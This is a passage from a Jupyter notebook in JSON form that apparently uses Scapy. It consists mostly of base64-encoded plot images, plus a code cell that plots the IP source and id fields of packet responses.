rdUqeJk2sXg7N3RARKT+lXk47Z84ckpOTad++\n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\nfAF06XGfj0wwrAAAAABJRU5ErkJggg==\n", "text": [ "" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 6, "text": [ "[[],\n", " []]" ] } ], "prompt_number": 6 }, { "cell_type": "code", "collapsed": false, "input": [ "ans.multiplot(lambda p, q: (q[IP].src, q[IP].id))" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "display_data", "png": "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